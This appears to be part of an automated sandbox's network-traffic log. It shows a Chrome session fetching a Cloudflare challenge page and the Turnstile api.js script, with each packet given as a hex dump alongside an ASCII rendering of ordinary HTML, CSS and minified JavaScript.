UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-14 16:23:06 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 31 65 66 37 66 39 33 39 65 38 37 63 37 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 901ef7f939e87c7b-EWRalt-svc: h3=":443"; ma=86400
2025-01-14 16:23:06 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49756	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:06 UTC	383	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:06 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:23:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901ef7f9487c438a-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:06 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-14 16:23:06 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
